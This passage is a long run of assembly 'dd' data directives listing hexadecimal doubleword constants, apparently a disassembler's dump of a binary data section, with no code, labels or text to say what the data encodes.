		dd 17D36CD0h, 42134600h, 0A78ABAD6h, 0AA430281h, 32AC8793h
		dd 378F6563h, 9624A1A1h, 7B12C49Ah, 0DF898F00h,	7681921Fh
		dd 0FCF2008Ah, 0C58BEA86h, 0A73B0D3Ah, 8C658379h, 0D857E374h
		dd 545F5958h, 4E30848Ah, 0F95C014Fh, 2E5B9EC7h,	5040F849h
		dd 10930038h, 0E853A39Ch, 1605CE85h, 0A719C974h, 4BABD700h
		dd 5CE75C8Eh, 0D91CE51Dh, 12CA4190h, 68BC6F1Eh,	0B34400D0h
		dd 4CAEB8C0h, 7A90BA2h,	0F0206821h, 0F0EFDEE6h,	0E0668FA0h
		dd 76D15A12h, 0D7631502h, 0CEF8C8F2h, 0DFB881h,	2E380BF7h
		dd 5436CF27h, 0AE32D700h, 0D617D8D9h, 9C3312B7h, 68B802DDh
		dd 0F2604247h, 0B9012428h, 3A996D92h, 0C0D62D8Bh, 3A7DAA34h
		dd 4F801171h, 64EE28AEh, 0B6004A74h, 0E6C3F0E8h, 65BDF77h
		dd 119058ADh, 9914B09Bh, 0B9BF6Ch, 4AE6B897h, 0DDF618h
		dd 955AF998h, 50E2443Dh, 1A2C4AB0h, 0C0003C9Bh,	8E669439h
		dd 0EEDE09E4h, 0B8244DA1h, 98328035h, 0FE00EF4Fh, 0DBFAC81Fh
		dd 3974F1FCh, 88C9579h,	26B001B3h, 0BCEAF00h, 2F976CD1h
		dd 6071490Dh, 487A6E00h, 28895AA8h, 80CE9C39h, 35573934h
		dd 274024h, 0C3CBED2Eh,	15D79537h, 6700E890h, 0A8D410DAh
		dd 0EA68B88Bh, 9313003Dh, 0FC265870h, 0AF0F6BF6h, 0F7052F1Dh
		dd 8F8A1001h, 0CFE43645h, 27DF30DAh, 21E28198h,	82FC4E00h
		dd 0EAF0647Eh, 7AFF00F4h, 99787216h, 0E3F79AEh,	53DB1226h
		dd 0EE26D896h, 0C68A0E6Ch, 0D941B6ADh, 0EC6EBBF9h, 0E4C5791h
		dd 9ECE16D4h, 394C800Ch, 26CB03C8h, 9B31412Ah, 1F3598E0h
		dd 0E9EB7A00h, 52F40A46h, 1450F08Eh, 0B8B274EAh, 1EA01D38h
		dd 3541E900h, 0B023F610h, 48090083h, 5B98B553h,	0E200908Eh
		dd 0FA732C76h, 3FFC5ACCh, 0E0004430h, 0FE7E7D4Dh, 7006227h
		dd 48FDF891h, 0F25FE4h,	77D961CFh, 414A3DAh, 0F42A800Ch
		dd 0CCD586Dh, 0B715BE8Ch, 45003211h, 0D563E1EDh, 0B9E5FAFh
		dd 0AB60BE76h, 0BAD15880h, 430F77FFh, 60E09181h, 8CDE2751h
		dd 0D60D004Ch, 1647105Ah, 5700AAA6h, 5CF61FBh, 90FDA280h
		dd 0E5270234h, 0CD962034h, 988CB040h, 0E1B680A0h, 48855801h
		dd 0BB23A16h, 96EF1C24h, 0A51380BCh, 0BA1D10E3h, 5109B302h
		dd 80B201DCh, 23E487F0h, 0A870A6h, 627C96C8h, 404E3949h
		dd 6D7EC2F4h, 9040C05Bh, 456AA980h, 82F5071Eh, 44F1677Dh
		dd 4DE490C5h, 0DE027F32h, 669F6E16h, 0D4CCA2CCh, 0DC52EDh
		dd 0B24CF18h, 7710963Bh, 13B29807h, 699149E0h, 0F708A4h
		dd 7B2E9F98h, 64EF4436h, 56414200h, 0E25E7C3Ah,	0D400864Fh
		dd 787A2BDh, 0A0277454h, 0C4DC4h, 0D7E19933h, 9B09467Eh
		dd 0F97B3B00h, 0BFD276EAh, 0C2AB0082h, 0AA60CC1Ah, 0A007183h
		dd 0E8D7772h, 5CF03B85h, 0C707A068h, 50D2F3FAh,	0A720E35Fh
		dd 2A025E1Ch, 0A86E803Bh, 0FBD916F4h, 0A45B3F93h, 9E391331h
		dd 0A17BCC0Eh, 4A7DB64Ch, 8B714C00h, 4F9B14h, 882F7930h
		dd 800A1E0Eh, 0F682A150h, 0A6B42700h, 52FD8BB1h, 44F1052Eh
		dd 0C3FEC7E8h, 0C087E9F4h, 0AB2BBA7Eh, 0B0E56B2Ah, 2C88175Ah
		dd 0BAA316CFh, 0D0D00A2h, 0C975ECD9h, 0DD12F800h, 0B15613BDh
		dd 422700F4h, 0D8A96EA5h, 2E03CE24h, 0B7326D06h, 0E08DA0EAh
		dd 0FC830007h, 553EB8B3h, 8101FD94h, 0DC220170h, 2C30B9F6h
		dd 929E00C4h, 5EE37389h, 2A0937DDh, 0AE9B0AABh,	8FA3A080h
		dd 1F9A4035h, 810C0852h, 5B4AA281h, 1D07C0Dh, 820BA88Ah
		dd 15C484A7h, 9904EFCh,	0C000E694h, 107B2AF3h, 19E7E130h
		dd 0E1FF689h, 0C2FFB620h, 0A6572280h, 2D640F15h, 0C8B87379h
		dd 0F75FF84h, 25234169h, 81E814A7h, 0C4E807CAh,	0F07F6D44h
		dd 29C3892Fh, 16A05Ch, 0FB191C9Ah, 0B8D8CFh, 0B3DDFD6Eh
		dd 0D2517FF1h, 7C9F7900h
		dd 0D023983Dh, 0A0094C1Ah, 0CFE43E01h, 0EC4287CCh, 0D0EC826h
		dd 0C2B797EFh, 80BBA990h, 78AD4EA4h, 1F4A0950h,	10D84DA5h
		dd 0E8EB8600h, 7DBB97EEh, 61DA00F9h, 8CFF5615h,	0BF005DD6h
		dd 4A66512Fh, 3AD9Eh, 0DA6C88C9h, 1DDECC78h, 42D3F01Eh
		dd 5AF88DC7h, 7EB85890h, 0BCC712FCh, 7500E08Ah,	14E0E904h
		dd 0D0F85143h, 39382A01h, 3AF5EEEDh, 0E6972401h, 10809BE3h
		dd 0B11ACADEh, 6301A964h, 0EC697C54h, 6296E4h, 0C4CCE577h
		dd 9A0713B6h, 3CC083B8h, 24E41688h, 2971E51Eh, 681184C0h
		dd 675562h, 28181E42h, 8EB49ADFh, 0D2313C09h, 0BC5803Dh
		dd 1DF4C3h, 9D958FCBh, 970D8678h, 0F1E65113h, 150F0E0h
		dd 4CFAF315h, 808C13B4h, 0B5F99028h, 9EF8E44h, 0E7FB0763h
		dd 0D0B30427h, 1D9454E9h, 91FCA01Dh, 3071040h, 5EC25CD1h
		dd 0C3382B85h, 8A5787CFh, 10A4515Eh, 0C30B225Fh, 0F9234C08h
		dd 3EAC205Ch, 0F13C0861h, 0E49C4010h, 50E2D74h,	0AF2F0CFCh
		dd 0D2B3A603h, 16ADE20h, 0CD37D9E3h, 7067E14Ah,	1D07CB9Bh
		dd 9C306A87h, 0C3D014F0h, 2F1A008Fh, 0FAA77E4Bh, 0DB00BC3Fh
		dd 0B726C908h, 0E563717h, 13B8E1D7h, 0E8949D00h, 0B3782C52h
		dd 0DF1ED37Ch, 0C99D902Fh, 0D4B07CC0h, 3DAA230h, 0EAB655D8h
		dd 51C84AFAh, 2CFC35A6h, 872C800h, 0ACF8A147h, 0F66600FCh
		dd 0DC1265E9h, 0DD00FB92h, 799F7A39h, 7DFCD22Bh, 794F8A9h
		dd 47250D83h, 5EDBA034h, 0BA00F185h, 0C5234369h, 0FAF2F84Fh
		dd 176A01EDh, 0CFDF9C5Fh, 45B88ED6h, 0E93A207Fh, 390AAF9h
		dd 62474F43h, 3788724Ah, 4001EFF6h, 60A19786h, 66CCD74Dh
		dd 10063D9Fh, 7713E200h, 63D04A45h, 9D655Ch, 4D32A4ECh
		dd 0F46F1h, 0D2C7266Ch,	0F53DEE70h, 0A2FCED00h,	2D672EB1h
		dd 1EA0713Fh, 40DB226Bh, 30079A6Eh, 96020FF6h, 39D095C5h
		dd 3F6240DCh, 0ECFA1FBBh, 0C7678071h, 996913CEh, 201E2F79h
		dd 2BC7727Fh, 1C20F6E2h, 7CF3C754h, 5F570025h, 365DA13Eh
		dd 6A00D1B7h, 0DB8CF187h, 303729h, 5E0F44EEh, 40E7D815h
		dd 9EBEB03Ah, 0F2036C18h, 69AFBDh, 1AA91958h, 0E7380246h
		dd 7B73BA00h, 8A1E4807h, 874900C4h, 7C106316h, 37F8C8E6h
		dd 0E9FBBA00h, 0EFB80E7Ah, 8080505Ah, 822100DFh, 66779DA9h
		dd 832C582Eh, 0D41E7E5Ch, 7F002412h, 0F3496D36h, 0C99038Ch
		dd 0DF86A0A5h, 0C63490BCh, 9501E397h, 518B56EFh, 3880542Eh
		dd 154459A5h, 32831A7h,	8C02B025h, 0B740BA7Bh, 50C0A0D0h
		dd 81D545h, 5BEC1F4h, 0ABA0D651h, 0CB2FC0C0h, 18B361A4h
		dd 5988F73Dh, 0A0033FBh, 0BD60D1B4h, 0A10371h, 97BE6A86h
		dd 0E34FCDD5h, 9D398C0h, 30DF6BEAh, 5481DCC9h, 840799B9h
		dd 35348DCFh, 7289EB56h, 8E47036Ah, 375C97C7h, 0B9D215C0h
		dd 81FE7400h, 0EF2E1E8Dh, 34AE00DFh, 2D6D7512h,	5500A1EAh
		dd 322A03A0h, 78ADE09h,	0D9492C08h, 469592A8h, 15CF64E0h
		dd 55071903h, 889360EBh, 0A0D58AE4h, 75CDD7A0h,	0A02B6013h
		dd 7028F26Eh, 7168EA17h, 75543800h, 470EC6h, 0C7B33813h
		dd 6E3B509Fh, 0AE581E00h, 0A16614D4h, 0F6631E2Eh, 0D9E44022h
		dd 0B595528h, 5D8F7501h, 1B4E88A2h, 8E0A050h, 0BDE700E9h
		dd 6F1567B4h, 1A1CE1A7h, 0BA1636C1h, 25280Eh, 0D240A601h
		dd 765B26C5h, 6CC68C20h, 970547F8h, 0F8891F84h,	0F665A040h
		dd 709060h, 9EEB9C24h, 0D76FA4EDh, 8130EF3Eh, 0FA9FBE03h
		dd 0A2FC386Ch, 212A0157h, 2254C7CAh, 0C5F840AAh, 603D8442h
		dd 0AC78E264h, 12332EB2h, 4BFC47h, 38C8F221h, 4D7E34h
		dd 29A67FA4h, 0FBBFBE84h, 0AAC2D73Eh, 0E4E5F8FEh, 7B006086h
		dd 6A165B61h, 0AEB6CDh,	0D70F4809h, 2D5ABF0Bh, 0CF3AAD00h
		dd 23BB07A7h, 4ABC074Ch, 0D02E2901h, 1889D85Eh,	0B7A89D26h
		dd 8CD11503h, 8E00E7FAh, 840C73h, 44E295F3h, 0C7BDC958h
		dd 2C9ADDE6h, 0AA75BE0Fh, 21D68CD3h, 0F1D0035Dh, 19E9A667h
		dd 0DB8960A8h, 313D4100h, 5F089BCBh, 879A005Eh,	203A44B3h
		dd 0DA009367h, 3513E37h, 4F14B2h, 0B09C813Ch, 57FCB441h
		dd 1FBA2B3Ch, 59803E77h, 0EA375F6Eh, 17D50010h,	3AC63112h
		dd 5500D0B1h, 3D39286Fh, 1DDE3BCh, 35A9BF1Dh, 0CA89FCC4h
		dd 6B792C60h, 818CA405h, 0C000127Dh, 82DEDCBCh,	0A84F1222h
		dd 64F13Ch, 5E0675A0h, 4E7ED01Ch, 17E07680h, 7631142h
		dd 70911A66h, 9600F51h,	1EAE8807h, 0EE276B00h, 129BC8E2h
		dd 5141000Ah, 0F1BC8A13h, 0D50A2BC2h, 0E6B29CAEh, 0A0AFDE0Ah
		dd 0FC164B00h, 0C84F050h, 0DCC7A5D8h, 2C04B898h, 430D9D4Eh
		dd 5FD24490h, 0E85C4D48h, 4EB3D400h, 0CA988747h, 0CCD7624h
		dd 0E7857B81h, 51C423F9h, 5FFF0047h, 939E1739h,	0A002D79h
		dd 91F972CDh, 90617889h, 9F6D099Ch, 0F88142D9h,	34CFFAECh
		dd 6AF24E90h, 9B791907h, 0B2A1CBE7h, 48878C41h,	674DF85Ah
		dd 51D01021h, 0C00D4B1h, 0C376EF64h, 2015BA95h,	46023345h
		dd 62E32287h, 5A6060E0h, 93BB0011h, 0D284E2F8h,	37632DDFh
		dd 8820B0C1h, 7A2FC4h, 0D0BC6D6h, 0AF58083Bh, 117E7607h
		dd 3810AC84h, 902D9B5Eh, 3E877C13h, 0D580B3C5h,	78364C3Dh
		dd 550EAB89h, 0E0B1FA13h, 447A8379h, 748E0A46h,	0F46BD1h
		dd 0EFC204CDh, 88006618h, 8DAA7302h, 3EBEFF01h,	71877BC6h
		dd 30C1BA9Dh, 96EA4DD6h, 5975190Ah, 8902D0CCh, 60037453h
		dd 0AB0C184h, 0E0824D7Ah, 158C00E5h, 8137592Fh,	26DFAF00h
		dd 48C4634Ch, 0E4D20018h, 8677CBF6h, 677BC305h,	3DABDB00h
		dd 23F4D84Dh, 85BB0316h, 3E69A109h, 93E73790h, 8D46BF0Fh
		dd 18D480EBh, 0B1A0A4A7h, 8A758244h, 4C108DABh,	5DDE1C2Eh
		dd 0AD61C0D4h, 1441C4FDh, 2665283Eh, 680F6135h,	548920B7h
		dd 0FEEE98h, 4347703Ch,	0D816ED6Dh, 85032272h, 90B96A06h
		dd 4838D82Eh, 2F6C385Fh, 0A80F5D80h, 0F2F0C136h, 0AEE8B101h
		dd 72BF91C0h, 753DFE40h, 682F4931h, 0F6013220h,	0EC505759h
		dd 0DC348306h, 53620018h, 0DE38D8A1h, 0BE1D2558h, 5B058C21h
		dd 0EC8046EAh, 8DEB18h,	979913Fh, 70C01DB3h, 5C86D501h
		dd 940E0238h, 1FB6F870h, 0C050160Fh, 0BBF59581h, 6A3C1009h
		dd 825A84F9h, 24A44A67h, 6DFB00D2h, 31EDFF90h, 150DB706h
		dd 20E8E460h, 0C14DFC03h, 119EE9B2h, 4E6300B1h,	0F1B79E0Dh
		dd 3664039h, 0D9E33702h, 352000BFh, 3D7DD756h, 6203B7DEh
		dd 0EA416F4h, 1242F709h, 7265E06Dh, 0C2E80F05h,	0FC4069EAh
		dd 5CEF8D38h, 0EB94A401h, 7B37D95Ah, 0F9525441h, 311A1862h
		dd 8CE1A8CEh, 0D8718006h, 0E60AF12Ch, 0EF4700C5h, 6878D301h
		dd 0DA0E10C8h, 0A1B2B3C6h, 7DD8E616h, 0AA03D0h,	907F6CD0h
		dd 41B548BBh, 0DBA6C800h, 0A8B3D9A3h, 0E0287F72h, 0CD8100AEh
		dd 5F30BC55h, 7A03ADB2h, 3B54D0DCh, 0F497B80Fh,	6F1900F8h
		dd 72B4573Ch, 0E809616Bh, 0E50BE58h, 0F6E9077Fh, 4901754h
		dd 8A5E95h, 4E90B53Fh, 0B2FB35BDh, 0B9006CBAh, 0D1CBE253h
		dd 0B88C2A9Ah, 4BC50068h, 0FC62A496h, 3A0059A1h, 30173F5Ah
		dd 2A6EEFDCh, 7894E31Ah, 259500EEh, 15A10CC1h, 71000F31h
		dd 353C1B07h, 316C2AB3h, 0A03812AFh, 5E547094h,	0D9A5130Ah
		dd 9880B0B5h, 3F0B14E8h, 0EDB70CC6h, 0AB08D637h, 0C17621C0h
		dd 0B4F214h, 8BC94C50h,	3E7443C4h, 740B100h, 0FEE938A0h
		dd 52E3E231h, 0B806DCBAh
		dd 0E9E05AFCh, 3D03E60Ch, 601B20D0h, 0F4A5C1E8h, 806143Ah
		dd 0D61A50A0h, 5B760019h, 0A9632FBh, 8C005237h,	29E4110h
		dd 0D938F33Ch, 18A3C8D0h, 91408EAh, 0A1C4D63Fh,	14C37840h
		dd 0BD0E2011h, 60B85B0Ch, 3F869766h, 0F83A00E9h, 0DD35071Fh
		dd 9800BB80h, 0FA63F75Dh, 1EC5B49h, 0C3939D9Ch,	0E004CBFBh
		dd 175C862h, 0DBD54F00h, 70489A2Bh, 633006Ch, 0B6F4F199h
		dd 0A5007852h, 0A90D3261h, 927087h, 4089CBC2h, 49B9428h
		dd 0F037A61Fh, 60C3174Eh, 0B1259FF1h, 0C76E0029h, 0B39CE2B2h
		dd 0D80099FCh, 7137C11Dh, 0E16BEBh, 9E11B893h, 0FF2707D0h
		dd 8899D600h, 254ADBC6h, 93AE654h, 0EFAE3971h, 4F82A480h
		dd 9B26D713h, 600090EDh, 7EFB8A07h, 0FC4C002Ch,	8C5B3CF0h
		dd 1C0071B5h, 13097A6Fh, 0B49157h, 86EF2622h, 0CE5DF744h
		dd 0D0DEAC1Ch, 3C1E00FBh, 0B22C4172h, 46D50042h, 0C9275C12h
		dd 5B58E776h, 196032Fh,	0FF60524Fh, 577180CEh, 0F356C0h
		dd 0CE6836F6h, 137686ABh, 29058C0Eh, 8821C032h,	71B8CAE5h
		dd 6E09Ah, 807CDE46h, 72BE2B66h, 4D3AB00Fh, 0A4AB206Fh
		dd 7205E932h, 0ADD63C64h, 6AEB3700h, 411F2061h,	363A7701h
		dd 3CA3942Eh, 0E4696880h, 6249517Ah, 2000477Ah,	6BCE861Bh
		dd 0C6A975h, 0F0DF15C2h, 0F2935E96h, 3873FD30h,	28D347h
		dd 29C1C334h, 0F885CF4Fh, 307B0F38h, 25564087h,	60940EF1h
		dd 96808A91h, 51B31CFCh, 2A051900h, 1DBE8222h, 954D0001h
		dd 74F49699h, 1100B9BBh, 7BFE0D62h, 0E6B450DDh,	4C5401D3h
		dd 36CF6C5Ah, 91FFCCA9h, 50A7C60Eh, 7B2680EAh, 386DB4h
		dd 0E8AA54B5h, 9757D9F9h, 2FD4B1Eh, 9CBDBA83h, 0A53EF05Ah
		dd 335F00CAh, 0B4DE7B48h, 5B00EBE0h, 0CE6B594Fh, 0C9E237h
		dd 7BEE87D7h, 0BEAF5DE9h, 0B0AD9600h, 56F12F5Fh, 0C92C070Eh
		dd 706D5359h, 7B8A9C87h, 8039FD39h, 91F0A96Ah, 889261h
		dd 0FA305412h, 56A8ED70h, 0A0E6B918h, 0A63D88h,	9E1C2F9Fh
		dd 0BD871D2Ah, 0A8C8300h, 0F4E82127h, 2376B2h, 3FAC9171h
		dd 65174C97h, 0C8BD110Fh, 5305608Ch, 65B0828h, 0D4A240Ah
		dd 22229836h, 8F150072h, 0E97EFE80h, 86064189h,	5A4C10Dh
		dd 0C3B400DAh, 1CB154FFh, 0C600EB32h, 0CC19C0A1h, 15EA94h
		dd 0AC7E91FCh, 0BBBC7A35h, 40B880EDh, 7754E2A7h, 5FF707D9h
		dd 6032EBBEh, 722F6699h, 7418FD24h, 3798CC20h, 0ADA6E21Fh
		dd 95691A47h, 0D3330CA7h, 80B4F2BBh, 0CCF2A4FCh, 5F370C9Ch
		dd 0AAB86BD5h, 0F9A98F00h, 7CFD0A25h, 0D430FB7h, 40529E53h
		dd 0EE0C7840h, 2A008A48h, 185F6D33h, 0B23C22h, 0EF1F70EDh
		dd 0C8574BFFh, 9DE91E00h, 0CCAB6A42h, 611B004Ah, 40637D6Dh
		dd 76EE4C0Ah, 0F4644800h, 0D478853Ch, 0DF5100F0h, 993BDCABh
		dd 0BB009D04h, 75089247h, 0AF9377h, 0BE35CA9Ch,	0D9149F32h
		dd 27025200h, 225D5EF7h, 96650394h, 0E3B1A72Bh,	4400BBDBh
		dd 0B68CD11Ch, 0CFB5A659h, 69872A19h, 10E2061Eh, 0CC536E00h
		dd 44DAC355h, 735200DDh, 0E79CD251h, 5A00196Dh,	1D4DA1F5h
		dd 0D89E61h, 5E6BE48Ah,	0E09B217Dh, 0FB00BAFCh,	2EDBC0FDh
		dd 3A205Bh, 93B94EE6h, 77A68AD4h, 0D0BDD215h, 3E8C00B4h
		dd 2BEA7164h, 0B1FA0068h, 9F23F4F0h, 0A8124344h, 0CC00983Ch
		dd 742613CEh, 7C9D0060h, 0EC840D2h, 4D02AD8Eh, 2402B499h
		dd 0BD1C6834h, 3622036Ah, 19845E0Ch, 663BC690h,	1F694588h
		dd 0CFA4F9CFh, 0B2A0D449h, 2A1CDF63h, 9C082700h, 0DD6B050Ch
		dd 43CC000Ah, 3A1DB71h,	28005D06h, 0EC7E80B3h, 0E8BEE36h
		dd 6071386Fh, 29C5BCC0h, 7C0E6A0Fh, 23126EA3h, 80D95451h
		dd 9AAFC3h, 75FEFCBDh, 0D8F7F6FFh, 95DCF11Ch, 58240166h
		dd 1F3B00B8h, 9011F523h, 165D00A2h, 68D3C240h, 97009233h
		dd 89B0DC06h, 38FDF66h,	0CCFE9E2Fh, 0CA005453h,	62C5E2C6h
		dd 248955h, 0F1852DA2h,	70A53643h, 0D2AFD700h, 17967375h
		dd 9CC04CDAh, 0E9C4BA00h, 0A0A36D0Fh, 0F7BC53Dh, 0A05DCB1Ch
		dd 878FFC58h, 0C7D500CDh, 72F2AD36h, 421F7390h,	2CC1F31Ah
		dd 0F1EC8FC6h, 70DDAEE4h, 25470092h, 8849561Eh,	0EE01ED5Ch
		dd 7B4044ACh, 27608AAEh, 4B57004Ah, 4E8C8638h, 0B1046358h
		dd 5AC5F0Ch, 0DB00E494h, 0DB086994h, 2C97095Eh,	0E8094EF6h
		dd 0B870F00h, 7C07CF67h, 53E72731h, 0BA5295B0h,	5A600038h
		dd 7AF0104Eh, 701777Fh,	0E3DBAF83h, 0E73070ADh,	204500B7h
		dd 5E182149h, 78093B1Fh, 0A5FB83h, 0ACADD11Bh, 0E9CC00CFh
		dd 0D9D85DDDh, 17002B54h, 7906C921h, 0FC5855AAh, 0CE700E5Bh
		dd 6E40D635h, 16FCEA3Ch, 29443230h, 0BEDAAFh, 0B33782E7h
		dd 7AEF3C52h, 3DDC0C01h, 0C8486E04h, 0F66BC300h, 43038B7Bh
		dd 106DE0BFh, 59D9B1DAh, 2220C24h, 0AA8FB302h, 4CC826FCh
		dd 0A70186B8h, 2901DDE1h, 4E8B369h, 0F36B07D2h,	0A0C35A8Ch
		dd 0E545C462h, 8947DF3Eh, 81CA605Eh, 0EA0EFB61h, 0B283ABC4h
		dd 0C2060F94h, 2A21ED67h, 0D093F011h, 75630945h, 1183EF20h
		dd 60685310h, 288F1B20h, 21110071h, 10EC645Ch, 233A0812h
		dd 0E29F80CBh, 0A955A36Ah, 8EC9C25Ah, 0CC0187Fh, 89332B10h
		dd 0C66958D7h, 27110E20h, 77C3CB07h, 0E6C09B96h, 1D012645h
		dd 5C69E79Fh, 80D8F28Bh, 0C840124h, 0FFAB2E76h,	0D81E409h
		dd 5F6F2B00h, 543A59A3h, 0D7C809ADh, 34A0CAC4h,	25AA84Bh
		dd 0B5890339h, 0D802680Dh, 9A99EAECh, 0ED48C084h, 1084A09Bh
		dd 0B40B0FB7h, 91C04B55h, 5FC30A4Fh, 0A778F6C0h, 99C6D2h
		dd 0DCBE84F5h, 0CFC45966h, 557CCB07h, 0B9179Fh,	0B74488EAh
		dd 0DB2B00DAh, 3B871682h, 7F002957h, 89E5097Ch,	712601h
		dd 9AECEE32h, 4AAB1982h, 9D1F4E00h, 93283394h, 0E67C0074h
		dd 856D39Bh, 830E3E9Eh,	21653DDBh, 483CF8EFh, 1FAA4FCCh
		dd 0C073915Eh, 0A6C8FC1Dh, 425C0288h, 22900710h, 0BD208763h
		dd 7F5DABh, 100EF220h, 0C24546CCh, 7354CA00h, 38AE36BFh
		dd 0EB7F4CDh, 245F496Ah, 5D82DC20h, 3F00973Ah, 0A4016C5Eh
		dd 0E38731h, 6870740Ch,	64E6DF81h, 0EF6F8A8h, 6C074A70h
		dd 9B8A288Eh, 0C06204D3h, 39E0AD68h, 67029123h,	0C5218790h
		dd 36517844h, 69E247F6h, 43D71003h, 213F0830h, 0E8B532Bh
		dd 8655E5BEh, 0C3C20324h, 681657B6h, 40F3359h, 0C6520241h
		dd 8B304868h, 6FC400F5h, 0CAA3E2E4h, 0A2741AEAh, 242180FFh
		dd 0F930C4FEh, 260404ADh, 9081715Dh, 0F8A3870Ch, 0B0B68B30h
		dd 60CA3455h, 6D442084h, 0CC60EE28h, 9A132E29h,	19AD035Dh
		dd 2955833Bh, 8839082Eh, 9A1B0C80h, 78430EF0h, 0E3BB047h
		dd 5CD61041h, 771864Ch,	0C75AFC03h, 3F5EBA3Ch, 0AB98CF68h
		dd 0E5D7808Dh, 0DB50108h, 145503B9h, 280779F2h,	0F311ADA3h
		dd 2721C4C0h, 0EF30007Fh, 0F89DACB2h, 9C0051C6h, 46198EDBh
		dd 28AFFBC4h, 0F2081Dh,	22ABA90h, 44974E48h, 7FBCD000h
		dd 206625D8h, 0FF30015h, 32033CA3h, 0C400A8E0h,	0EDEFB2D5h
		dd 0EAC834h, 114F9FCBh,	94413F6Ch, 3A0F44FEh, 3C75DBEh
		dd 0C858062Ch, 390F2374h, 0D8801967h, 8E438064h, 0B000AFE6h
		dd 0EA7EF68Fh, 81548Ah,	0CF6878C6h, 19CC6D9Ah, 80739C38h
		dd 9F0823FBh, 70525F43h, 0B8C5001Dh, 0E3B29868h, 4004ABEh
		dd 6A80CB22h, 936B4Bh, 4CBCE6BDh, 0CC74F206h, 3500A6F0h
		dd 0C53711C0h, 59EAAFh
		dd 7DBE2294h, 1FBD8B40h, 4BDF7203h, 0C053E4F5h,	1FC74DDEh
		dd 86C615B8h, 0D0195259h, 0AE96CA00h, 8119C83h,	8BD507FAh
		dd 7059765Bh, 0BFE1F4DDh, 3C00F9E4h, 0A5D4B940h, 0C84178h
		dd 5EBC8E9Dh, 3A231AB4h, 0AC9E3400h, 9F7EB88Ah,	5BC400B3h
		dd 437FB978h, 0C97D6527h, 0FA91AA1Fh, 118E53C0h, 466BD3h
		dd 56B1F20Dh, 89DE5EEAh, 80586800h, 5FB49E9Fh, 9AC00DBh
		dd 26C1BAC9h, 0C8006718h, 43DE8EBDh, 0E06638h, 90E6ADB0h
		dd 0DA80F114h, 52A28C00h, 71D3108Fh, 0F40E0048h, 6FC0636Ah
		dd 9400DAEDh, 0B2729D21h, 0C0F1DCBCh, 4535F4A8h, 980B1266h
		dd 871C2C81h, 600F1AFEh, 0C55429FEh, 0F7A5013Bh, 65379839h
		dd 335BE443h, 403C37Bh,	41B51059h, 2AA8019Ah, 0F7DEBE14h
		dd 935BFC26h, 6871C637h, 846ED5D0h, 8217046Ch, 40C7622Ch
		dd 0CD4FDF2Bh, 0A3340ABAh, 8FB0FC35h, 0C1A0E16Fh, 11284315h
		dd 9E0EB8F6h, 0A007FC13h, 639E078h, 959200D5h, 0BB6EE947h
		dd 0F5005A0Fh, 6BDF8862h, 0C628D7h, 0AD77486Fh,	39ECDC25h
		dd 4C00A070h, 5BB841C1h, 398A2DAh, 64D4292h, 3B93F6Bh
		dd 0C04C20F7h, 88E35100h, 72F6D7E9h, 0A715188Ah, 48E8A163h
		dd 3E616707h, 3510CC7Fh, 31F4FFEh, 0A6D193B7h, 0BA1BE01h
		dd 61DEFCD6h, 9EA0DD00h, 88F30C6Ch, 9B42008Dh, 47A47583h
		dd 6E3FDC56h, 0F9B500D6h, 951A826Ch, 5CC3142Eh,	5208CC84h
		dd 0A700C109h, 5F40BDE3h, 0D16402DEh, 0E2384496h, 0FCF48090h
		dd 1ABB35Ch, 0C3C2FD6Fh, 0EBED57EAh, 5E850D8h, 0D773DAA2h
		dd 40BC303Ch, 53EE5999h, 0A8FF2200h, 0F2894C05h, 7D3213A2h
		dd 98DE02A6h, 8CA01943h, 0BE77E965h, 0FC5D1400h, 3C1D693Bh
		dd 164000ACh, 96F719ABh, 6FE8E2D1h, 505C4Ch, 0BFFF053Ah
		dd 0ECDD1Dh, 0CBF5FDACh, 1EF0CAFBh, 67E8A401h, 0DE1AB89Fh
		dd 0D704F0h, 0FD827890h, 752461E4h, 0C5A1AE00h,	42303AF3h
		dd 6BD00009h, 1FC2CE0Fh, 0A91D1495h, 9080F917h,	5C94C98h
		dd 0F4A10032h, 80B02006h, 0DA2618ABh, 0AE006B31h, 962490Fh
		dd 0D0330001h, 668E7230h, 0A11EDB92h, 0BF0071B6h, 23C7B945h
		dd 703826D3h, 5ACA006Ah, 343F2C8h, 0B2B7E700h, 0D919AA49h
		dd 89B05C08h, 0DE1F020Fh, 0F21288D8h, 2D028272h, 74A231CBh
		dd 0C052C0C3h, 7176FAh,	0B73F7E66h, 348288BFh, 764AD500h
		dd 3B5EAB2h, 686D009Dh,	0E32BFEB3h, 6B003F37h, 4D08ECDFh
		dd 1A3AFC9h, 0CA47C604h, 0D4835030h, 5A28515Ch,	60484A7h
		dd 69AC5D2Ch, 0D7ED40D0h, 5E100099h, 0B9EA452Eh, 6F0EAAE6h
		dd 0C03A297Ch, 0EB7318FEh, 0CCF0356h, 3BFDDE88h, 0A4075B98h
		dd 7C0E0D01h, 0B39E4A97h, 5233B540h, 342D0943h,	4C007A7Bh
		dd 3FD077C5h, 36F4D0Ch,	2676602Eh, 0F11851h, 7D67C270h
		dd 0A092FB3Eh, 0E409E0F2h, 25C108F8h, 9CC03738h, 4C482613h
		dd 5A00AC22h, 0B10470F6h, 8401E969h, 3BFBC1CFh,	71C1CDBFh
		dd 227EDE40h, 308567EFh, 0D3F87060h, 0B4A0FFBFh, 847055h
		dd 8287B5A7h, 513E3189h, 0FA008BE2h, 68670206h,	60815Dh
		dd 4BAB2324h, 27AA2A16h, 89764000h, 4384C114h, 0BC4E0036h
		dd 489A6D5Ch, 0FD01D0F0h, 1BB7A724h, 82DA31DDh,	608AA9BCh
		dd 1C0A1E09h, 4094A8F6h, 81364A71h, 10063DDh, 69867D3Fh
		dd 0E32D8C08h, 0E3CEBC0h, 7368830Eh, 40287A47h,	2B69B0DCh
		dd 3130F600h, 17E0F526h, 867E0EEBh, 0E5638B22h,	52F8CC19h
		dd 23133CC1h, 0D500F70Bh, 0DAD2B1DDh, 0BC2800B0h, 91C8CC66h
		dd 0FE2CC1D1h, 3B004912h, 3D2088CAh, 0AEF10092h, 0B0F68B3h
		dd 0F80070A3h, 26CA3163h, 754496Fh, 3A88F253h, 6A4EEE15h
		dd 0CE558020h, 0DA3EFD4Ah, 96BB47h, 9ED1D49Ah, 26D8B16h
		dd 2360F633h, 9E40CF12h, 93003104h, 92BFB11Eh, 30C9A3h
		dd 0DFFDD96Eh, 0BBDA5382h, 0DB113D07h, 9410394Bh, 0FF558FCh
		dd 4A5923E7h, 0E1FE04A0h, 6E001381h, 1293A02Ch,	0C44754h
		dd 0E0B8DABBh, 3C892D5Bh, 0FE09287Dh, 20519550h, 29A5094Ch
